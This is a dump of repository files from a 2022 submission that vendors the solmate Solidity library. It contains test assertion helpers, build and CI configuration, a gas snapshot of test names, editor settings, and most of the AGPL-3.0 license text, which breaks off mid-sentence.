      }\n    }\n    function assertLeDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertGeDecimal(a, b, decimals);\n        }\n    }\n\n    function assertEq(string memory a, string memory b) internal {\n        if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {\n            emit log(\"Error: a == b not satisfied [string]\");\n            emit log_named_string(\"  Value a\", a);\n            emit log_named_string(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertEq(string memory a, string memory b, string memory err) internal {\n        if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {\n            emit log_named_string(\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n\n    function checkEq0(bytes memory a, bytes memory b) internal pure returns (bool ok) {\n        ok = true;\n        if (a.length == b.length) {\n            for (uint i = 0; i < a.length; i++) {\n                if (a[i] != b[i]) {\n                    ok = false;\n                }\n            }\n        } else {\n            ok = false;\n        }\n    }\n    function assertEq0(bytes memory a, bytes memory b) internal {\n        if (!checkEq0(a, b)) {\n            emit log(\"Error: a == b not satisfied [bytes]\");\n            emit log_named_bytes(\"  Expected\", a);\n            emit log_named_bytes(\"    Actual\", b);\n            fail();\n        }\n    }\n    function assertEq0(bytes memory a, bytes memory b, string memory err) internal {\n        if (!checkEq0(a, b)) {\n            emit log_named_string(\"Error\", err);\n            assertEq0(a, b);\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/.dapprc",
    "content": "# Basic build/test configuration.\nexport DAPP_SOLC_VERSION=0.8.10\nexport DAPP_BUILD_OPTIMIZE=1\nexport DAPP_BUILD_OPTIMIZE_RUNS=1000000\nexport DAPP_LINK_TEST_LIBRARIES=0\nexport DAPP_TEST_VERBOSITY=1\nexport DAPP_TEST_SMTTIMEOUT=500000\n\nif [ \"$DEEP_FUZZ\" = \"true\" ]\nthen \n  export DAPP_TEST_FUZZ_RUNS=10000 # Fuzz for a long time if DEEP_FUZZ is set to true.\nelse\n  export DAPP_TEST_FUZZ_RUNS=100 # Only fuzz briefly if DEEP_FUZZ is not set to true.\nfi\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/.gas-snapshot",
    "content": "testFailSetAuthorityWithRestrictiveAuthority() (gas: 126002)\ntestSetAuthorityWithPermissiveAuthority() (gas: 127687)\ntestFailSetOwnerWithRestrictiveAuthority() (gas: 126166)\ntestFailCallFunctionAsNonOwner() (gas: 4191)\ntestSetAuthorityAsOwner() (gas: 23802)\ntestFailCallFunctionAsOwnerWithOutOfOrderAuthority() (gas: 135733)\ntestCallFunctionWithPermissiveAuthority() (gas: 125973)\ntestFailSetAuthorityAsNonOwner() (gas: 6960)\ntestFailSetOwnerAsOwnerWithOutOfOrderAuthority() (gas: 135873)\ntestCallFunctionAsOwner() (gas: 21371)\ntestFailCallFunctionWithRestrictiveAuthority() (gas: 126125)\ntestSetOwnerWithPermissiveAuthority() (gas: 147508)\ntestFailSetOwnerAsNonOwner() (gas: 4309)\ntestSetAuthorityAsOwnerWithOutOfOrderAuthority() (gas: 234329)\ntestSetOwnerAsOwner() (gas: 3998)\ntestFromLast20Bytes() (gas: 191)\ntestFillLast12Bytes() (gas: 223)\ntestFailDoubleDeploySameBytecode() (gas: 277076930206699)\ntestDeployERC20() (gas: 863534)\ntestFailDoubleDeployDifferentBytecode() (gas: 277076930214685)\ntestFailBoundMinBiggerThanMax() (gas: 309)\ntestBound() (gas: 5520)\ntestFailSafeBatchTransferFromToRevertingERC1155Recipient() (gas: 1041163)\ntestMintToEOA() (gas: 30265)\ntestFailMintToNonERC155Recipient() (gas: 71897)\ntestFailSafeBatchTransferFromToZero() (gas: 805864)\ntestBatchMintToERC1155Recipient() (gas: 946375)\ntestApproveAll() (gas: 26509)\ntestFailSafeBatchTransferFromWithArrayLengthMismatch() (gas: 681042)\ntestFailBatchMintToZero() (gas: 127242)\ntestFailSafeBatchTransferFromToWrongReturnDataERC1155Recipient() (gas: 993087)\ntestSafeTransferFromToERC1155Recipient() (gas: 1210543)\ntestFailBatchMintToWrongReturnDataERC1155Recipient() (gas: 314473)\ntestFailBatchMintToRevertingERC1155Recipient() (gas: 362536)\ntestBatchBurn() (gas: 146591)\ntestFailBurnInsufficientBalance() (gas: 30352)\ntestFailSafeTransferFromToWrongReturnDataERC1155Recipient() (gas: 243471)\ntestFailMintToRevertingERC155Recipient() (gas: 263148)\ntestFailSafeBatchTransferFromToNonERC1155Recipient() (gas: 849621)\ntestFailSafeTransferFromInsufficientBalance() (gas: 579173)\ntestFailSafeTransferFromToNonERC155Recipient() (gas: 100376)\ntestFailBatchMintToNonERC1155Recipient() (gas: 171010)\ntestSafeBatchTransferFromToEOA() (gas: 817122)\ntestFailSafeTransferFromToRevertingERC1155Recipient() (gas: 291604)\ntestBatchMintToEOA() (gas: 132842)\ntestFailBatchBurnInsufficientBalance() (gas: 131673)\ntestSafeBatchTransferFromToERC1155Recipient() (gas: 1650504)\ntestFailBalanceOfBatchWithArrayMismatch() (gas: 4798)\ntestFailSafeBatchTransferInsufficientBalance() (gas: 682003)\ntestSafeTransferFromToEOA() (gas: 609087)\ntestMintToERC1155Recipient() (gas: 612041)\ntestFailBatchMintWithArrayMismatch() (gas: 5118)\ntestBatchBalanceOf() (gas: 153798)\ntestFailSafeTransferFromToZero() (gas: 57667)\ntestFailSafeTransferFromSelfInsufficientBalance() (gas: 29956)\ntestBurn() (gas: 34098)\ntestFailBatchBurnWithArrayLengthMismatch() (gas: 131065)\ntestFailMintToZero() (gas: 29205)\ntestSafeTransferFromSelf() (gas: 59828)\ntestFailMintToWrongReturnDataERC155Recipient() (gas: 263102)\ntestInfiniteApproveTransferFrom() (gas: 387818)\ntestApprove() (gas: 26558)\ntestMetaData() (gas: 6988)\ntestTransferFrom() (gas: 388134)\ntestFailTransferFromInsufficientBalance() (gas: 359467)\ntestFailPermitPastDeadline() (gas: 1467)\ntestFailPermitReplay() (gas: 59219)\ntestMint() (gas: 49224)\ntestFailTransferFromInsufficientAllowance() (gas: 358991)\ntestTransfer() (gas: 75650)\ntestBurn() (gas: 52536)\ntestPermit() (gas: 56030)\ntestFailTransferInsufficientBalance() (gas: 48306)\ntestFailPermitBadDeadline() (gas: 29756)\ntestFailPermitBadNonce() (gas: 29706)\ntestFailRedeemWithNoShareAmount() (gas: 28088)\ntestFailRedeemWithNotEnoughShareAmount() (gas: 192969)\ntestFailWithdrawWithNoUnderlyingAmount() (gas: 25814)\ntestFailMintWithNoApproval() (gas: 6241)\ntestMetaData() (gas: 7057)\ntestFailDepositWithNotEnoughApproval() (gas: 77891)\ntestFailRedeemZero() (gas: 5689)\ntestFailWithdrawWithNotEnoughUnderlyingAmount() (gas: 190704)\ntestFailDepositZero() (gas: 3255)\ntestMultipleMintDepositRedeemWithdraw() (gas: 1328123)\ntestWithdrawZero() (gas: 42552)\ntestFailDepositWithNoApproval() (gas: 6233)\ntestMintZero() (gas: 45081)\ntestSafeTransferFromToERC721Recipient() (gas: 885885)\ntestFailSafeMintToERC721RecipientWithWrongReturnDataWithData() (gas: 163605)\ntestApprove() (gas: 73904)\ntestFailBurnUnMinted() (gas: 3379)\ntestFailSafeTransferFromToERC721RecipientWithWrongReturnDataWithData() (gas: 191740)\ntestFailDoubleMint() (gas: 48808)\ntestApproveAll() (gas: 26585)\ntestFailApproveUnAuthorized() (gas: 51054)\ntestFailSafeTransferFromToRevertingERC721RecipientWithData() (gas: 237473)\ntestFailSafeMintToNonERC721RecipientWithData() (gas: 93718)\ntestMetadata() (gas: 6470)\ntestFailTransferFromWrongFrom() (gas: 48838)\ntestFailSafeMintToRevertingERC721Recipient() (gas: 208477)\ntestTransferFrom() (gas: 528373)\ntestFailSafeMintToNonERC721Recipient() (gas: 92893)\ntestFailDoubleBurn() (gas: 54465)\ntestFailSafeMintToERC721RecipientWithWrongReturnData() (gas: 162744)\ntestFailSafeTransferFromToNonERC721Recipient() (gas: 121141)\ntestMint() (gas: 49778)\ntestFailApproveUnMinted() (gas: 5672)\ntestFailTransferFromToZero() (gas: 48903)\ntestSafeMintToERC721Recipient() (gas: 385391)\ntestSafeTransferFromToEOA() (gas: 533231)\ntestSafeMintToEOA() (gas: 52413)\ntestApproveBurn() (gas: 79785)\ntestFailSafeTransferFromToERC721RecipientWithWrongReturnData() (gas: 190988)\ntestTransferFromApproveAll() (gas: 530463)\ntestFailTransferFromUnOwned() (gas: 3500)\ntestFailSafeTransferFromToNonERC721RecipientWithData() (gas: 121921)\ntestBurn() (gas: 55481)\ntestFailSafeMintToRevertingERC721RecipientWithData() (gas: 209269)\ntestFailMintToZero() (gas: 1253)\ntestFailTransferFromNotOwner() (gas: 53372)\ntestSafeMintToERC721RecipientWithData() (gas: 406553)\ntestFailSafeTransferFromToRevertingERC721Recipient() (gas: 236721)\ntestSafeTransferFromToERC721RecipientWithData() (gas: 907047)\ntestTransferFromSelf() (gas: 80050)\ntestMulWadDown() (gas: 821)\ntestDivWadDownEdgeCases() (gas: 423)\ntestFailDivWadUpZeroDenominator() (gas: 342)\ntestDivWadUp() (gas: 981)\ntestMulWadDownEdgeCases() (gas: 886)\ntestFailMulDivUpZeroDenominator() (gas: 317)\ntestMulDivUpEdgeCases() (gas: 846)\ntestDivWadUpEdgeCases() (gas: 482)\ntestFailDivWadDownZeroDenominator() (gas: 362)\ntestRPow() (gas: 2142)\ntestMulDivDownEdgeCases() (gas: 751)\ntestSqrt() (gas: 2537)\ntestDivWadDown() (gas: 864)\ntestMulDivDown() (gas: 1861)\ntestMulWadUpEdgeCases() (gas: 1002)\ntestMulWadUp() (gas: 959)\ntestFailMulDivDownZeroDenominator() (gas: 316)\ntestMulDivUp() (gas: 2273)\ntestSetRoles() (gas: 33023)\ntestCanCallWithCustomAuthorityOverridesPublicCapability() (gas: 295417)\ntestCanCallPublicCapability() (gas: 39631)\ntestSetTargetCustomAuthority() (gas: 31736)\ntestCanCallWithCustomAuthorityOverridesUserWithRole() (gas: 334265)\ntestCanCallWithAuthorizedRole() (gas: 97461)\ntestSetRoleCapabilities() (gas: 32997)\ntestCanCallWithCustomAuthority() (gas: 466959)\ntestSetPublicCapabilities() (gas: 31468)\ntestNoReentrancy() (gas: 1015)\ntestProtectedCall() (gas: 23649)\ntestFailUnprotectedCall() (gas: 30515)\ntestSetRoles() (gas: 32998)\ntestCanCallPublicCapability() (gas: 38436)\ntestCanCallWithAuthorizedRole() (gas: 96267)\ntestSetRoleCapabilities() (gas: 34588)\ntestSetPublicCapabilities() (gas: 33244)\ntestWriteRead() (gas: 53511)\ntestWriteReadFullStartBound() (gas: 34725)\ntestFailWriteReadEmptyOutOfBounds() (gas: 34432)\ntestWriteReadFullBoundedRead() (gas: 53708)\ntestFailReadInvalidPointer() (gas: 2905)\ntestFailWriteReadOutOfStartBound() (gas: 34346)\ntestFailReadInvalidPointerCustomStartBound() (gas: 2982)\ntestWriteReadEmptyBound() (gas: 34639)\ntestFailWriteReadOutOfBounds() (gas: 34453)\ntestWriteReadCustomBounds() (gas: 34853)\ntestWriteReadCustomStartBound() (gas: 34768)\ntestFailReadInvalidPointerCustomBounds() (gas: 3143)\ntestSafeCastTo248() (gas: 433)\ntestSafeCastTo128() (gas: 455)\ntestSafeCastTo32() (gas: 477)\ntestFailSafeCastTo96() (gas: 365)\ntestSafeCastTo96() (gas: 475)\ntestSafeCastTo224() (gas: 497)\ntestFailSafeCastTo8() (gas: 296)\ntestFailSafeCastTo64() (gas: 321)\ntestSafeCastTo64() (gas: 476)\ntestFailSafeCastTo248() (gas: 298)\ntestFailSafeCastTo224() (gas: 342)\ntestFailSafeCastTo128() (gas: 342)\ntestFailSafeCastTo32() (gas: 297)\ntestSafeCastTo8() (gas: 452)\ntestFailTransferWithReturnsFalse() (gas: 27234)\ntestApproveWithStandardERC20() (gas: 26417)\ntestFailTransferFromWithReturnsFalse() (gas: 30377)\ntestTransferFromWithTransferFromSelf() (gas: 59377)\ntestFailTransferWithPausable() (gas: 4160)\ntestApproveWithNonContract() (gas: 3076)\ntestFailApproveWithPausable() (gas: 1219)\ntestFailTransferFromWithPausable() (gas: 5312)\ntestApproveWithMissingReturn() (gas: 26335)\ntestTransferFromWithMissingReturn() (gas: 59267)\ntestTransferWithStandardERC20() (gas: 28201)\ntestTransferFromWithStandardERC20() (gas: 59309)\ntestTransferFromWithNonContract() (gas: 3104)\ntestTransferWithMissingReturn() (gas: 28128)\ntestFailApproveWithReturnsFalse() (gas: 25283)\ntestTransferETH() (gas: 34636)\ntestTransferWithNonContract() (gas: 3075)\ntestApproveWithTransferFromSelf() (gas: 26416)\ntestTransferWithTransferFromSelf() (gas: 28182)\ntestFailTransferETHToContractWithoutFallback() (gas: 7222)\ntestPartialWithdraw() (gas: 68781)\ntestDeposit() (gas: 58760)\ntestFallbackDeposit() (gas: 59024)\ntestWithdraw() (gas: 68715)\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/.gitattributes",
    "content": "*.sol linguist-language=Solidity\n.dapprc linguist-language=Shell\n.gas-snapshot linguist-language=Julia"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/.github/workflows/tests.yml",
    "content": "name: Tests\n\non: [push, pull_request]\n\njobs:\n  tests:\n    runs-on: ubuntu-latest\n\n    steps:\n      - uses: actions/checkout@v2\n      - uses: actions/setup-node@v2\n      - uses: cachix/install-nix-action@v13\n      - uses: cachix/cachix-action@v10\n        with:\n          name: dapp\n\n      - name: Install dependencies\n        run: nix-shell --run 'make'\n\n      - name: Check gas snapshots\n        run: nix-shell --run 'dapp check-snapshot'\n\n      - name: Run tests\n        run: nix-shell --run 'dapp test'\n        env:\n          # Only fuzz deeply if we're pushing to main or this is a PR to main:\n          DEEP_FUZZ: ${{ github.ref == 'refs/heads/main' || github.base_ref == 'main' }}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/.gitignore",
    "content": "/cache\n/node_modules\n/out"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/.gitmodules",
    "content": "[submodule \"lib/ds-test\"]\n\tpath = lib/ds-test\n\turl = https://github.com/dapphub/ds-test\n[submodule \"lib/weird-erc20\"]\n\tpath = lib/weird-erc20\n\turl = https://github.com/d-xo/weird-erc20\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/.prettierrc",
    "content": "{\n  \"tabWidth\": 2,\n  \"printWidth\": 100,\n\n  \"overrides\": [\n    {\n      \"files\": \"*.sol\",\n      \"options\": {\n        \"tabWidth\": 4,\n        \"printWidth\": 120\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/.vscode/settings.json",
    "content": "{\n  \"solidity.packageDefaultDependenciesContractsDirectory\": \"src\",\n  \"solidity.packageDefaultDependenciesDirectory\": \"lib\",\n  \"solidity.compileUsingRemoteVersion\": \"v0.8.10\",\n  \"search.exclude\": { \"lib\": true },\n  \"files.associations\": {\n    \".dapprc\": \"shellscript\",\n    \".gas-snapshot\": \"julia\"\n  }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/LICENSE",
    "content": "                    GNU AFFERO GENERAL PUBLIC LICENSE\n                       Version 3, 19 November 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU Affero General Public License is a free, copyleft license for\nsoftware and other kinds of works, specifically designed to ensure\ncooperation with the community in the case of network server software.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nour General Public Licenses are intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  Developers that use our General Public Licenses protect your rights\nwith two steps: (1) assert copyright on the software, and (2) offer\nyou this License which gives you legal permission to copy, distribute\nand/or modify the software.\n\n  A secondary benefit of defending all users' freedom is that\nimprovements made in alternate versions of the program, if they\nreceive widespread use, become available for other developers to\nincorporate.  Many developers of free software are heartened and\nencouraged by the resulting cooperation.  However, in the case of\nsoftware used on network servers, this result may fail to come about.\nThe GNU General Public License permits making a modified version and\nletting the public access it on a server without ever releasing its\nsource code to the public.\n\n  The GNU Affero General Public License is designed specifically to\nensure that, in such cases, the modified source code becomes available\nto the community.  It requires the operator of a network server to\nprovide the source code of the modified version running there to the\nusers of that server.  Therefore, public use of a modified version, on\na publicly accessible server, gives the public access to the source\ncode of the modified version.\n\n  An older license, called the Affero General Public License and\npublished by Affero, was designed to accomplish similar goals.  This is\na different license, not a version of the Affero GPL, but Affero has\nreleased a new version of the Affero GPL which permits relicensing under\nthis license.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU Affero General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that 